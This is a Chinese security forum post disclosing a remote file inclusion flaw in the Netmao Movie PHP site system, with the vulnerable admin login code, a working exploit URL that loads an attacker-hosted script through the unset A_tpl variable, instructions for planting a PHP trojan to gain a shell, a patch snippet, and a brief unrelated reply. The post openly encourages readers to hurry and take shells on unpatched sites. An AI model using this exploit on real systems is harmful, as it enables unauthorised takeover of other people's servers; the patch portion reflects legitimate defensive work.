服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 5053|回复: 1

Netmao Movie网猫电影系统漏洞

[复制链接]
dirtysea 发表于 2007-11-27 20:29:18 | 显示全部楼层 |阅读模式
IceskYsl在NOHACK上发表的php漏洞专题。第一次就是包含文件漏洞。

那今天我就很快找到了一个,不敢独享!呵呵。

程序:Netmao Movie网猫电影系统。

说明下:现在它的最新版本是3.0,由于加密了,所以就不好继续研究。
不过网上使用的很多都不是最新的版本。所以想拿shell的要赶快哦。

漏洞文件:admin目录下的login.php文件。

代码:

if($action=='login'){

    @session_start();
    if($_SESSION['randomstr']!=$checkcode){
      cpmsg('对不起,验证码错误','?file=login');
      exit();
    }

    $referer=$referer?$referer:'?file=';

    $username=addslashes($username);
    $password=addslashes($password);
    $password=MD5($password);

    $result=$db->query("Select * FROM $table_member Where user='$username' AND pwd='$password'");
  if($db->num_rows($result)==1){
      $r=$db->fetch_array($result);
      $_SESSION[username]=$r[$user];
          if($r[priv]=='1'){$_SESSION[admin]='1';}
      cpmsg("登录成功!",$referer);
  }else{
    session_destroy();
    cpmsg("对不起,帐号和密码不匹配!",$referer);
  }

}elseif($action=='logout'){

    session_destroy();
    cpmsg("你已经成功退出!",'?file=login');

}
else
{

    include $A_tpl.'/login.tpl.php';
     
}

我们直奔else语句里的代码。变量A_tpl 没赋值,直接拿来用。
直接输入admin/login.php可以暴出路径。

EXP:

admin/login.php?A_tpl=http://www.xxxx.com/cmd.txt?

在一个不支持php脚本的空间建立一个login.tpl.php(当然是自己的脚本木马咯)
访问admin/login.php?A_tpl=http://www.xxxx.com 即可。


好了,结束。。初来~请各位牛人多多指教。
---------------------------------------------------------------------------------------------------
修补漏洞的方案:

function StopRemoteInclude($InclueName){
          if(strpos($InclueName,'\\')!==false){  
          return substr($InclueName,0,strrpos($InclueName,'\\'));
    }elseif(strpos($InclueName,'/')!==false){
          return substr($InclueName,0,strrpos($InclueName,'/'));
    }else{
          return '/';
    }
}

define('S_Dir',__FILE__?StopRemoteInclude(__FILE__).'/' : './');

iceman02 发表于 2006-6-8 17:27:33 | 显示全部楼层

re:Netmao Movie网猫电影系统漏洞

海哥,生日快乐!
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-24 12:14 , Processed in 0.277607 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表